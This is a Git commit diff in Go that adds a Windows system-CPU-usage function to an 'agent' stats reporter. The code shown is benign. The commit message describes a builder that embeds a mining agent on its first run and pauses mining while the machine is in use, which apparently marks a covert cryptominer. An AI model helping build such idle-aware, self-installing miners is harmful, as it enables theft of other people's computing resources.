Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
63
agent/stats/cpu_windows.go
Normal file
63
agent/stats/cpu_windows.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package stats
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
procGetSystemTimes = kernel32.NewProc("GetSystemTimes")
|
||||
)
|
||||
|
||||
type filetime struct {
|
||||
LowDateTime uint32
|
||||
HighDateTime uint32
|
||||
}
|
||||
|
||||
func filetimeToUint64(ft filetime) uint64 {
|
||||
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
var idle, kernel, user filetime
|
||||
ret, _, _ := procGetSystemTimes.Call(
|
||||
uintptr(unsafe.Pointer(&idle)),
|
||||
uintptr(unsafe.Pointer(&kernel)),
|
||||
uintptr(unsafe.Pointer(&user)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
idleTicks := filetimeToUint64(idle)
|
||||
kernelTicks := filetimeToUint64(kernel)
|
||||
userTicks := filetimeToUint64(user)
|
||||
|
||||
if !r.hasSample {
|
||||
r.lastIdle = idleTicks
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
r.hasSample = true
|
||||
return 0
|
||||
}
|
||||
|
||||
idleDelta := float64(idleTicks - r.lastIdle)
|
||||
totalDelta := float64((kernelTicks - r.lastKernel) + (userTicks - r.lastUser))
|
||||
r.lastIdle = idleTicks
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package stats
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
@@ -24,7 +25,14 @@ var (
|
||||
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||
)
|
||||
|
||||
type Reporter struct{}
|
||||
type Reporter struct {
|
||||
mu sync.Mutex
|
||||
|
||||
lastIdle uint64
|
||||
lastKernel uint64
|
||||
lastUser uint64
|
||||
hasSample bool
|
||||
}
|
||||
|
||||
func NewReporter() *Reporter {
|
||||
return &Reporter{}
|
||||
|
||||
Reference in New Issue
Block a user